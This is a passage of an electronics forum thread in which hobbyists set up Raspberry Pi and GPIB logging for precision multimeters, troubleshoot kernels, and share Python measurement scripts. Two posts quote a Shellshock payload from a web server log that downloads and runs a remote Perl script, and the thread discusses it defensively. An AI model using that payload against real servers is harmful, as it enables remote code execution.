*Edit   Alright sorry for the hassle.  I Think I've figured it out and kind of wrapped my head around how to go about interfacing RPi remotely.  I've been able to connect with putty and control it with my laptop and started logging!  Atleast I think I did.  Can't do much in the command prompt after I executed the script... but my 3458A went into remote mode.

When you run something from a shell(command prompt) it will typically "hold on to" the window. You can add an & after the command to have it run in the background. Right now if you loose your ssh/telnet connection to the pi the program/logging will also stop, if you add the & it will keep going.
VE7FM
 

Offline Dwaine

  • Frequent Contributor
  • **
  • Posts: 265
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #200 on: January 01, 2017, 01:29:09 am »
Not enough place :D (RPi 2 B+,7" LCD, Agilent 82357B, Bluetooth kbrd and mouse )
It's not working for now with Agilent 82357B, but it's only few minutes from start. (tuning is in progress) :)
Funny moment's with this keyboard (it is shit) :D (how to put the #? ou yes ctrl + alt + u and 23 )

82357B is not working, but we hope it will be fixed soon.
Maybe you can try to use different adapter like http://egirland.blogspot.cz/2014/03/arduino-uno-as-usb-to-gpib-controller.html

I got the Arduino going as a GPIB interface.   Just have to get the GPIB connector made to connect to my Rigol DM3068.

pi@raspberrypi:~ $ sudo bash connect2.sh /dev/ttyACM0 115200
++verbose
verbose: ON^M
^M
> ++ver
ARDUINO GPIB firmware by E. Girlando Version 6.1^M
^M
> ++info
Dwaine's Arduino Uno Rev 3 GPIB Device^M
^M
>
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1363
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #201 on: January 01, 2017, 09:24:24 am »
Kernel 4.x still works with the 82357x but only if you're using an original raspberry pi.
With kernel "Linux gpib 4.4.0-1-rpi #1 Debian 4.4.6-1+rpi14 (2016-05-05) armv6l GNU/Linux" and an original model B pi I've never lost communication with my 3458A using an original 82357B.
I set this up using TiN's howto on xdevs. The image that does graphing and has a web server would be a lot more fun though.

@Steve
Would you care to elaborate a bit ?

Especially where/how to get the initial raspbian image ?

Did you follow TiN's guide 100%, he specifically specifies get headers for a 3.x kernel
https://xdevs.com/guide/agilent_gpib_rpi/

This is the first time i have heard actuall confirmation that a kernel 4.x works w. an Agilent

I have an original Raspi 512Mb (v1) , and tried somewhat the same here
https://www.eevblog.com/forum/metrology/raspberry-pi23-logging-platform-for-voltnuts/msg1093160/#msg1093160

But my initial image was Noobs 1.41, meaning i ended up with a 3.x kernel.


/Bingo
« Last Edit: January 01, 2017, 09:58:36 am by bingo600 »
 

Online TheSteve

  • Supporter
  • ****
  • Posts: 3011
  • Country: ca
  • GHz
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #202 on: January 01, 2017, 10:32:04 am »
I followed TiN's guide located here:
https://xdevs.com/guide/agilent_gpib_rpi/
At the time I hadn't read this thread and knew nothing about any incompatibilities.

On my first try I started with raspbian jessie lite from here:
https://www.raspberrypi.org/downloads/raspbian/

I downloaded the newest version, it booted up but I couldn't login remotely as it appears to have sshd disabled by default - I run all of my raspberry pi's headless - no keyboard, monitor or mouse.
So I used an older build I already had downloaded for a different pi project. It was from May of 2016. You can find the older versions here:
https://downloads.raspberrypi.org/raspbian_lite/images/
edit - the specific build I used is "2016-05-27-raspbian-jessie-lite"

It booted right away and I was able to login remotely via ssh. I then pretty much followed TiN's howto substituting the proper kernel name etc as I went.

If I got any errors a long the way it was nothing major.
It has been working great ever since. I have had over 12 solid days of logging using some of TiN's sample python scripts that I modified a little. It hasn't crashed or had a single issue.
I am using an original generation pi, model B with 512 megs ram and an authentic 82357B.
Give it a try, I am sure it will work for you, if not we'll figure it out.
As a last ditch if needed I can make the exact image I used available for download. If your pi has a keyboard/monitor I would start by trying the newest version though.
« Last Edit: January 02, 2017, 03:08:41 am by TheSteve »
VE7FM
 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #203 on: January 01, 2017, 03:04:29 pm »
I followed TiN's guide located here:
https://xdevs.com/guide/agilent_gpib_rpi/
At the time I hadn't read this thread and knew nothing about any incompatibilities.

On my first try I started with raspbian jessie lite from here:
https://www.raspberrypi.org/downloads/raspbian/

I downloaded the newest version, it booted up but I couldn't login remotely as it appears to have sshd disabled by default - I run all of my raspberry pi's headless - no keyboard, monitor or mouse.
So I used an older build I already had downloaded for a different pi project. It was from May of 2016. You can find the older versions here:
https://downloads.raspberrypi.org/raspbian_lite/images/

It booted right away and I was able to login remotely via ssh. I then pretty much followed TiN's howto substituting the proper kernel name etc as I went.

If I got any errors a long the way it was nothing major.
It has been working great ever since. I have had over 12 solid days of logging using some of TiN's sample python scripts that I modified a little. It hasn't crashed or had a single issue.
I am using an original generation pi, model B with 512 megs ram and an authentic 82357B.
Give it a try, I am sure it will work for you, if not we'll figure it out.
As a last ditch if needed I can make the exact image I used available for download. If your pi has a keyboard/monitor I would start by trying the newest version though.

I tried several combinations RPI2/RPI3 and genuine and clone 82357B adapter without success. I used only the latest linux-gpib (4.0.3-r1) and gpib_firmware-2008-08-10
Oldest Raspbian ( 2016-02-09-raspbian-jessie.zip pdated of course but with kernel 4.1.17  )till 4.9 not working
Gentoo running on RPi2/RPI3 with kernels from 3.18  to 4.9 are not working.


 

Offline Assafl

  • Frequent Contributor
  • **
  • Posts: 579
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #204 on: January 02, 2017, 07:11:59 am »
Well, I can't say I am surprised by theSteve's result - it did work once for me but I was never able to recreate it. Upon reboot it never worked again. At the time I thought it had to do with the pyVisa TiN installs at the end but even that did not work when I tried to reinstall.

It may have to do with one of the package updates/upgrade. I guess the moral of the story is if it works don't touch it (no updates no upgrades!)...
 

Offline BFX

  • Frequent Contributor
  • **
  • Posts: 358
  • Country: sk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #205 on: January 02, 2017, 09:13:20 am »
As a last ditch if needed I can make the exact image I used available for download.
Please do that.

In the meantime I'll try to recreate my again.
It's fantastic news. :-+
 

Offline Assafl

  • Frequent Contributor
  • **
  • Posts: 579
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #206 on: January 02, 2017, 09:38:45 am »
As a last ditch if needed I can make the exact image I used available for download.
Please do that.

^ +1  :-+
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1363
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #207 on: January 02, 2017, 11:11:55 am »
Just got some more info from Steve

Quote
Kernel 4.x still works with the 82357x but only if you're using an original raspberry pi.
With kernel "Linux gpib 4.4.0-1-rpi #1 Debian 4.4.6-1+rpi14 (2016-05-05) armv6l GNU/Linux" and an original model B pi I've never lost communication with my 3458A using an original 82357B.
I set this up using TiN's howto on xdevs. The image that does graphing and has a web server would be a lot more fun though.

I used - 2016-05-27-raspbian-jessie-lite

pi@gpib:~ $ gpib_config -v
linux-gpib version = 4.0.3 [r1652]

This seems like the latest SVN , at least just before Xmas

/Bingo
« Last Edit: January 02, 2017, 11:32:16 am by bingo600 »
 

Offline guenthert

  • Frequent Contributor
  • **
  • Posts: 298
  • Country: us
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #208 on: January 02, 2017, 07:06:21 pm »
[..]
When you run something from a shell(command prompt) it will typically "hold on to" the window. You can add an & after the command to have it run in the background. Right now if you loose your ssh/telnet connection to the pi the program/logging will also stop, if you add the & it will keep going.
That is generally not the case as the program to be started is connected to STDIN (the input from the current terminal session unless otherwise specified).  If you disconnect, programs started in that terminal session receive SIGHUP, which causes them to terminate (unless they specified a non-default signal handler).

You can let commands keep running in the background after you disconnect, by using the (standard) 'nohup' utility as follows:
`nohup your-program &`.

If you plan to reattach to that terminal session (e.g. if your network connection is unreliable), an utility like 'screen' (included in Debian/Raspbian, but sadly not installed by default) is needed.
 

Online TheSteve

  • Supporter
  • ****
  • Posts: 3011
  • Country: ca
  • GHz
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #209 on: January 02, 2017, 07:18:41 pm »
Fair enough - there are some caveats to using it. Using "screen" probably is the best option for people - I've been using it for 20 years now.
VE7FM
 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #210 on: January 02, 2017, 07:41:29 pm »
Fair enough - there are some caveats to using it. Using "screen" probably is the best option for people - I've been using it for 20 years now.

I;m also using screen and it is preinstalled in image.
Basic usage:
sudo screen -S BME280      for run new screen seesiona named BME280 where you can execure for instance ./BME_Log.py, when script is running properly, by pressing Crtl+A followed by D session will be                disconnected
sudo screen -list                  will give you list of running sessions and their status
sudo screen -R BME280      will attach the screen called BME280.xxx

 

Offline z01z

  • Regular Contributor
  • *
  • Posts: 140
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #211 on: January 02, 2017, 08:35:26 pm »
A small mod to the BME_Log.py script so that it runs with only one sensor present.
 

Offline linux-works

  • Super Contributor
  • ***
  • Posts: 1939
  • Country: us
    • netstuff
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #212 on: January 02, 2017, 08:43:58 pm »
Fair enough - there are some caveats to using it. Using "screen" probably is the best option for people - I've been using it for 20 years now.

screen is old and had bugs.

try tmux.  I'm a many year screen person, too, but tmux is what everyone at work seems to be using, with good success, and more features.
 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #213 on: January 02, 2017, 11:11:42 pm »
A small mod to the BME_Log.py script so that it runs with only one sensor present.

Thanks, I will put it to Github and to next image.

Fair enough - there are some caveats to using it. Using "screen" probably is the best option for people - I've been using it for 20 years now.

screen is old and had bugs.

try tmux.  I'm a many year screen person, too, but tmux is what everyone at work seems to be using, with good success, and more features.
I'm using screen for while and do not have reason to change it. I will give a try to tmux :)
 

Offline FrankBuss

  • Supporter
  • ****
  • Posts: 2280
  • Country: de
    • Frank Buss
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #214 on: January 02, 2017, 11:21:27 pm »
Thanks, I will put it to Github and to next image.


Maybe you should merge the open pull request, so that it doesn't run out of sync for too long, there were some changes from other people as well:

https://github.com/PlesaEEVBlog/RPi_LogNut/pulls
So Long, and Thanks for All the Fish
Electronics, hiking, retro-computing, electronic music etc.: https://www.youtube.com/c/FrankBussProgrammer
 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #215 on: January 03, 2017, 12:36:22 am »
Thanks, I will put it to Github and to next image.


Maybe you should merge the open pull request, so that it doesn't run out of sync for too long, there were some changes from other people as well:

https://github.com/PlesaEEVBlog/RPi_LogNut/pulls

It is in my plans, please be patient :)
 

Offline FrankBuss

  • Supporter
  • ****
  • Posts: 2280
  • Country: de
    • Frank Buss
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #216 on: January 03, 2017, 01:10:14 pm »
Thanks, I will put it to Github and to next image.


Maybe you should merge the open pull request, so that it doesn't run out of sync for too long, there were some changes from other people as well:

https://github.com/PlesaEEVBlog/RPi_LogNut/pulls

It is in my plans, please be patient :)

You know it is only one click in Github, if you agree with the commits? :)
So Long, and Thanks for All the Fish
Electronics, hiking, retro-computing, electronic music etc.: https://www.youtube.com/c/FrankBussProgrammer
 

Offline CalMachine

  • Frequent Contributor
  • **
  • Posts: 404
  • Country: us
  • Metrology Nut
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #217 on: January 03, 2017, 03:17:25 pm »
I tweaked the logging script slightly that was provided with the LogNut image and I am getting a "Command not found" return error.  And now for some reason, I am getting an error when trying to run the original script that was provided.  I have not altered the provided script in any way.

Anyone know what could be causing this?
All your volts are belong to me
 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4045
  • Country: tw
  • xDevs.com/live - 24/7 lab feed
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #218 on: January 03, 2017, 03:36:21 pm »
Try to enter /pub/python/ directory with actual .py file and run python ./3458A_Log.py.
YouTube | Chat room | Live-cam | Have documentation to share? Upload here! No size limit, firmware dumps, photos.
 

Offline CalMachine

  • Frequent Contributor
  • **
  • Posts: 404
  • Country: us
  • Metrology Nut
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #219 on: January 03, 2017, 03:46:09 pm »
Try to enter /pub/python/ directory with actual .py file and run python ./3458A_Log.py.
ooo!!! Thank you so much!  I was missing the 'python' part in the command.  I think I've got it working now. 
All your volts are belong to me
 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #220 on: January 03, 2017, 04:55:25 pm »
Try to enter /pub/python/ directory with actual .py file and run python ./3458A_Log.py.
ooo!!! Thank you so much!  I was missing the 'python' part in the command.  I think I've got it working now.

If you put #!/usr/bin/python2 as a first row of script you can omit python  and execute only by ./3458A_Log.py

BTW what di you changes in script, is it something for all us us? I'm put there there notification when internal temperature is increased something like "Clean filter".
Also found in different thread here this application made by member here for 3457A, which can be probably modified to 3458A.
It use the Arduino GPIB.
 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #221 on: January 03, 2017, 04:57:58 pm »
quote author=CalMachine link=topic=77301.msg1105349#msg1105349 date=1483458369]
Try to enter /pub/python/ directory with actual .py file and run python ./3458A_Log.py.
ooo!!! Thank you so much!  I was missing the 'python' part in the command.  I think I've got it working now.
[/quote]

If you put #!/usr/bin/python2 as a first row of script you can omit python  and execute only by ./3458A_Log.py

BTW what di you changes in script, is it something for all us us? I'm put there there notification when internal temperature is increased something like "Clean filter".
Also found in different thread here this application made by member here for 3457A, which can be probably modified to 3458A.
It use the Arduino GPIB.

You know it is only one click in Github, if you agree with the commits? :)
Yes, but I would like to review it and test it, so it takes more time.
 

Offline CalMachine

  • Frequent Contributor
  • **
  • Posts: 404
  • Country: us
  • Metrology Nut
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #222 on: January 03, 2017, 07:32:40 pm »
BTW what di you changes in script, is it something for all us us? I'm put there there notification when internal temperature is increased something like "Clean filter".
Also found in different thread here this application made by member here for 3457A, which can be probably modified to 3458A.
It use the Arduino GPIB.

I came to share my tweaks and when I copy pasted it, I noticed something I messed up... which led me to scrutinise the code more.  The tweaks I made were completely unnecessary, I feel.  I had added just a single measurement every so often of one of my 10V Standards, but then I noticed at the bottom you already had code that did just that.

Is there an easy way I can go about stopping a script that is currently running?
« Last Edit: January 03, 2017, 07:34:55 pm by CalMachine »
All your volts are belong to me
 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #223 on: January 03, 2017, 08:02:07 pm »
Press Ctrl+C
 

Offline Dwaine

  • Frequent Contributor
  • **
  • Posts: 265
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #224 on: January 04, 2017, 05:57:54 am »
Anybody else getting this in their apache logs?  That's bad....

95.110.166.62 - - [03/Jan/2017:10:31:17 -0500] "GET / HTTP/1.0" 200 1434 "-" "() { :;}; /bin/bash -c \"wget http://139.59.246.200/so.pl -O /tmp/so.pl;curl -o /tmp/so.pl http://139.59.246.200/so.pl;chmod +x /tmp/so.pl;perl /tmp/so.pl;rm -rf /tmp/so.pl*\""

 

Offline FrankBuss

  • Supporter
  • ****
  • Posts: 2280
  • Country: de
    • Frank Buss
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #225 on: January 04, 2017, 08:14:28 am »
Looks pretty harmless to me. The shell code is in the user-agent field, but it is not executed. I just tested it like this:

Code: [Select]
wget --user-agent="() { :;}; /bin/bash -c \"wget localhost - O /tmp/test\"" localhost

and the file /tmp/test was not created, at least not on my Debian PC, didn't test it on the Raspberry Pi so far (don't have access to it at the moment), but in the Apache access log it looks very similar to your line. Looks like there is some HTTP server out there which executes the user-agent field with this special text, which is really stupid.

If you don't need to access the Raspberry Pi from the internet, you should not make it accessible from the internet (e.g. with a NAT rule). If it is accessible from the internet, there are other things you have to take care of, like only allow to access port 80, otherwise someone could hack it with the default password for the ssh-login or the samba directory export. Note: changing the password for the pi-user doesn't change the password for the samba access. Maybe in the readme of the distribution some security notes should be added.

And maybe better to use something like Lighttpd instead of Apache? I use this on my internet server, because it has a better security history than Apache and it is not as heavy.
So Long, and Thanks for All the Fish
Electronics, hiking, retro-computing, electronic music etc.: https://www.youtube.com/c/FrankBussProgrammer
 

Offline Dwaine

  • Frequent Contributor
  • **
  • Posts: 265
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #226 on: January 04, 2017, 01:53:05 pm »
I saw the 200 code and wonder if it was really successful or not.  The rm command would of wiped out the perl script.  But testing like you did, proves it was not successful.

Greeezzzz....  These BOT people really ruin things on the Internet...

Dwaine

 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1363
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #227 on: January 06, 2017, 06:57:07 pm »
Anybody else getting this in their apache logs?  That's bad....

95.110.166.62 - - [03/Jan/2017:10:31:17 -0500] "GET / HTTP/1.0" 200 1434 "-" "() { :;}; /bin/bash -c \"wget http://139.59.246.200/so.pl -O /tmp/so.pl;curl -o /tmp/so.pl http://139.59.246.200/so.pl;chmod +x /tmp/so.pl;perl /tmp/so.pl;rm -rf /tmp/so.pl*\""

Could originate from here
http://www.nothink.org/honeypot_web_user_agent.txt

/Bingo
 

Offline CalMachine

  • Frequent Contributor
  • **
  • Posts: 404
  • Country: us
  • Metrology Nut
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #228 on: January 06, 2017, 07:34:23 pm »
Here is my slightly tweaked code from the logging code that was provided.  Whenever I try to run the script, it only seems to work about half of the time... 

The half of the time where it does seems like it is doing its thing and looping properly and triggering measurements, but not logging properly.  It will just print out data taken over a certain amount of time, all at once. 

The other half it seems like it just gets hung up on the inst.write("ID?") for reason.   :scared:

I commented out the ACAL portion because with that part in there, I couldn't even get any measurements to take place.


Code: [Select]
# Python script for logging 10V DC Standard on 3458A with automatic ACAL
import os.path
import sys
import Gpib
import time

 # 3458A GPIB Address = 22
inst = Gpib.Gpib(0,22, timeout=120)
inst.clear() 
inst.write("ID?")
print(inst.read())

LogDir = '/pub/logs/'
LogFile= LogDir + 'LES289+175.csv'
 ##LogFile_ACAL= LogDir + '3458A_ACAL_DCV_Log.csv'

 # Setup HP 3458A
inst.write("PRESET NORM")
inst.write("OFORMAT ASCII")
inst.write("NPLC 100")
inst.write("NRDGS 1")
inst.write("NDIG 9")
inst.write("TARM auto")
inst.write("DCV 10")
inst.write("RES 0.00000001")

 # ACAL reference temperature
 ##ACAL_Temperature = 42.4
 ##ACAL_Counter = 0
 # Perform ACAL if internal temperature differce is bigger than 1K
ACAL_Treshold = 1 # every 1 deg C
ACAL_TimeInterval = 86400 # every 24h=86400

reflevel = 9.9999479

ppm = 0
tRead = 1
 ##Last_ACAL_TimeStamp = 0
 ##TempMeasurement_Interval = 500

 # Check file presence, write header
if (os.path.isfile(LogFile) == False):
  with open(LogFile, 'a') as MeterLog:
    MeterLog.write("TimeStamp,Voltage,Temperature,ppm\r\n")
    MeterLog.close()
   
 # Check ACAL file presence, write header
 ##if (os.path.isfile(LogFile_ACAL) == False):
 ## with open(LogFile_ACAL, 'a') as ACALLog:
 ##   ACALLog.write("TimeStamp,DCV_Gain,Temperature\r\n")
 ##   ACALLog.close()
   
while True:
  with open(LogFile, 'a') as MeterLog:
    ##tRead = tRead - 1
    ##if (tRead == 0):
    ##  tRead = TempMeasurement_Interval
    ##  inst.write("TARM Autokr ")
   ##   inst.write("TEMP?")
   ##   Temperature = float(inst.read())
   ## if (abs(ACAL_Temperature - Temperature) >= ACAL_Treshold) or (time.time() - Last_ACAL_TimeStamp >= ACAL_TimeInterval):
   ##     print('Temperature or time difference since last ACAL is higher than set treshold %.1f C / %d s') %(float(ACAL_Treshold),ACAL_TimeInterval)
   ##     print('Since start ACAL performed %.0f times') %float(ACAL_Counter)
   ##     print('Performing ACAL DCV, it will takes 3 minutes')
   ##     ACAL_Counter+=1
   ##     inst.write("ACAL DCV")
   ##     Last_ACAL_TimeStamp = time.time()
   ##     time.sleep(180)
   ##     inst.write("CAL? 72")
   ##     DCV10Gain = float(inst.read())
   ##     ACAL_Temperature = Temperature
   ##     print("Internal Temperature = %2.1f")%float(Temperature)
   ##     print("10V Gain DCV = %.9f ")%DCV10Gain
   ##     with open(LogFile_ACAL, 'a') as ACALLog:
   ##       ACALLog.write (time.strftime("%d/%m/%Y-%H:%M:%S,") + ("%.9f,%.2f\r\n" % (float(DCV10Gain),float(Temperature) ) ))
   ##       ACALLog.close()
   
    inst.write("trig sgl")
    time.sleep(10)
    standard10DCV = float(inst.read())
    ppm = ((standard10DCV / reflevel)-1)*1E6
    ##print(time.strftime("%d/%m/%Y\t%H:%M:%S") + ("\t%d x ACAL\t%.8f\t%.3f ppm\t%.1f C") % (ACAL_Counter, float(data),float(ppm),float(Temperature) ) )
    print(time.strftime("%d/%m/%Y\t%H:%M:%S") + ("\t%.10f\t%.3f ppm") % (float(data),float(ppm)) )
    MeterLog.write("I'm Getting ") + (time.strftime("%d/%m/%Y-%H:%M:%S,") + ("%.8f,%.1f,%.3f\r\n" % (float(data),float(Temperature),float(ppm) ) ))
    MeterLog.close()
All your volts are belong to me
 

Online dr.diesel

  • Super Contributor
  • ***
  • Posts: 2132
  • Country: us
  • Cramming the magic smoke back in...
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #229 on: January 06, 2017, 08:58:49 pm »

I commented out the ACAL portion because with that part in there, I couldn't even get any measurements to take place.


Probably cause ACAL is secured, change this line:

inst.write("ACAL DCV")

to:

inst.write("ACAL DCV, 3458")

Give that a try.

Offline CalMachine

  • Frequent Contributor
  • **
  • Posts: 404
  • Country: us
  • Metrology Nut
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #230 on: January 06, 2017, 09:45:17 pm »

I commented out the ACAL portion because with that part in there, I couldn't even get any measurements to take place.


Probably cause ACAL is secured, change this line:

inst.write("ACAL DCV")

to:

inst.write("ACAL DCV, 3458")

Give that a try.

ACAL is currently unsecured.
All your volts are belong to me
 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4045
  • Country: tw
  • xDevs.com/live - 24/7 lab feed
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #231 on: January 07, 2017, 01:43:26 am »
Try with TARM HOLD.
Also what is the purpose of inst.write("RES 0.00000001") ? It's invalid setting.
YouTube | Chat room | Live-cam | Have documentation to share? Upload here! No size limit, firmware dumps, photos.
 

Offline CalMachine

  • Frequent Contributor
  • **
  • Posts: 404
  • Country: us
  • Metrology Nut
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #232 on: January 07, 2017, 02:44:53 am »
Try with TARM HOLD.
Also what is the purpose of inst.write("RES 0.00000001") ? It's invalid setting.

When measuring ACV with ACV Sync, the 'res' command was the only way I could find to get 7.5 digits of resolution on the display in 100 mV range.  It was weird... ndig wouldn't work for some reason.
I guess I just carried that command over to other functions to get the most resolution I could.
All your volts are belong to me
 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4045
  • Country: tw
  • xDevs.com/live - 24/7 lab feed
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #233 on: January 07, 2017, 02:56:21 am »
For ACV you might want use TRIG SYN and TARM SYN. Suggest to take a look on UM for those commands, as well as RES ;).
YouTube | Chat room | Live-cam | Have documentation to share? Upload here! No size limit, firmware dumps, photos.
 

Offline CalMachine

  • Frequent Contributor
  • **
  • Posts: 404
  • Country: us
  • Metrology Nut
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #234 on: January 07, 2017, 08:30:46 pm »
For ACV you might want use TRIG SYN and TARM SYN. Suggest to take a look on UM for those commands, as well as RES ;).

Here is a snippet from the performance verification procedure.  I'm not sure the command is even necessary in my particular situation.  I just saw that they tell you to use the command on ACV, I'm not really sure why I carried it over to DC.  I will take it out  :-+

"5. Configure the transfer standard DMM as follows:
-- ACV
-- SETACV SYNC
-- ACBAND 10,2E6
-- RANGE10
-- RES .001
-- TRIG SGL
-- LFILTER ON

6. Configure the DMM under test as follows:
-- ACV
-- SETACV ANA
-- ACBAND 10,2E6
-- RANGE10
-- RES .01
-- TRIG SGL
-- LFILTER ON"


Is there anyway I can see what is going on with the script and what command it is using, in real time?
« Last Edit: January 07, 2017, 08:58:32 pm by CalMachine »
All your volts are belong to me
 

Offline CalMachine

  • Frequent Contributor
  • **
  • Posts: 404
  • Country: us
  • Metrology Nut
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #235 on: January 09, 2017, 01:26:49 am »
Finally got my script working the way I want it to :D    This script is for testing the nominal DCV performance of a 3458A using a Datron 4808.  It's been awhile since I really got to program anything, so I really enjoyed this a lot!  I will be doing many more scripts to automate tests in the near future.  I've provided a copy of the script below, please critique it and let me know what I can do better  :-+


Code: [Select]
# Python script for running DCV Performance Verification of a 3458A utilizing a Datron 4808 MFC (LES687)
import os.path
import sys
import Gpib
import time

 # Constants (3458A Ranges)
DCV_Ranges = 5
ACV_Ranges = 6
DCI_Ranges = 8
ACI_Ranges = 5
OHMF_Ranges = 9
numberOfMeasurements = 25

 # variables
measurementCounter = 0
DCVCounter = 0
rangeCounter = 0
currentMeasurement = 0
runningTotal = 0
measurementAvg = 0
ppm = 0


 # 4808 DCV Reference Values
dcv_100uV_FullRange = 99.899869e-6
dcv_1mV_FullRange = 0.99999469e-3
dcv_10mV_FullRange = 9.9999889e-3
dcv_100mV_FullRange = 99.998759e-3
dcv_1V_FullRange = 0.99999699
dcv_10V_FullRange = 9.9999909
dcv_100V_FullRange = 99.999749
dcv_1000V_FullRange = 999.99969

 # 3458A GPIB Address = 22
inst_3458A = Gpib.Gpib(0,22, timeout=30)

 # 4808 GPIB Address = 20
inst_4808 = Gpib.Gpib(0,20, timeout=30)

 # log file path and name
LogDir = '/pub/logs/'
LogFile= LogDir + '3458A_DCV_Performance.csv'


 # Setup the 3458A to begin testing
inst_3458A.write("PRESET NORM")                     # commands the 3458a to preset state
inst_3458A.write("OFORMAT ASCII")
inst_3458A.write("NPLC 100")                        # commands the 3458a to 100 number power line cycles
inst_3458A.write("NDIG 8")                          # commands the 3458a to display 8.5 digits of resolution
inst_3458A.write("TARM HOLD")
inst_3458A.write("TRIG AUTO")
inst_3458A.write("AZERO ON")
inst_3458A.write("NRDGS 1,AUTO")
inst_3458A.write("MEM OFF")
inst_3458A.write("END ALWAYS")
inst_3458A.write("DELAY 0")
inst_3458A.write("LFILTER ON")

 # Setup the 4808 to begin testing
inst_4808.write("o0=")                               # commands the 4808 to output OFF
inst_4808.write("h100=")                             # commands the 4808 to a frequency of 100 if necessary
inst_4808.write("m0=")                               # commands the 4808 to an output value of 0
inst_4808.write("f0=")                               # commands the 4808 to DCV function
inst_4808.write("r1=")                               # commands the 4808 to the 100 uV range


 # Check file presence, write header
if (os.path.isfile(LogFile) == False):
  with open(LogFile, 'a') as MeterLog:
    MeterLog.write("3458A DCV Full Range Test\r\n")
    MeterLog.close()


 # While loop to step through each DCV Range
while rangeCounter < DCV_Ranges:
    inst_3458A.write("DCV")                                         # commands the 3458A to DCV Function
    time.sleep(5)
    inst_4808.write("F0=")                                          # commands the 4808 to DCV Function
    time.sleep(5)

    # 100 mV range
    if rangeCounter == 0:
        measurementCounter = 0                                      # sets measurement counter to 0
        rangeCounter += 1                                           # increments the range counter
        inst_3458A.write("range 100e-3")                            # commands the 3458A to 100 mV range
        inst_4808.write("R4=")                                      # commands the 4808 to 100 mV Range
        inst_4808.write("M100e-3=")                                 # commands the 4808 to a value of 100 mV
        inst_4808.write("O1=")                                      # commands the 4808 output state ON
        time.sleep(5)
        inst_3458A.write("TARM SGL,1")
        time.sleep(15)
       
        # While loop to step through 25 measurements to get an average
        while measurementCounter < numberOfMeasurements:
            inst_3458A.write("TARM SGL,1")                                      # commands the 3458A to trigger a measurement
            data = inst_3458A.read()
            currentMeasurement = float(data)                                    # Reads the measurement via GPIB and stores the value into currentMeasurement
            runningTotal += currentMeasurement                                  # Adds measurement to running total
            measurementCounter += 1                                             # increments the measurement counter
            time.sleep(5)

        inst_4808.write("O0=")                                              # commands the 4808 output state OFF
        measurementAvg = runningTotal/numberOfMeasurements                  # calculates the average of the 25 measurements
        ppm = ((measurementAvg / dcv_100mV_FullRange)-1)*1E6                # calculates the ppm deviation from input

        # Opens LogFile and writes a row of data
        with open(LogFile, 'a') as MeterLog:
            MeterLog.write(time.strftime("%d-%m-%Y %H:%M:%S") + (" : 100 mV Range   : Nominal = %.10f Volts" %dcv_100mV_FullRange) + (" : 25 Measurement Avg = %.10f Volts : %.4f ppm deviation from nominal\r\n" %(float(measurementAvg),float(ppm))))
            MeterLog.close()
            measurementAvg = 0
            runningTotal = 0
            ppm = 0


    # 1 V range
    elif rangeCounter == 1:
        measurementCounter = 0                                      # sets measurement counter to 0
        rangeCounter += 1                                           # increments the range counter
        inst_3458A.write("range 1")                                 # commands the 3458A to 1 V range
        inst_4808.write("R5=")                                      # commands the 4808 to 1 V Range
        inst_4808.write("M1=")                                      # commands the 4808 to a value of 1 V
        inst_4808.write("O1=")                                      # commands the 4808 output state ON
        time.sleep(5)
        inst_3458A.write("TARM SGL,1")
        time.sleep(15)
       
        # While loop to step through 25 measurements to get an average
        while measurementCounter < numberOfMeasurements:
            inst_3458A.write("TARM SGL,1")                                      # commands the 3458A to trigger a measurement
            data = inst_3458A.read()
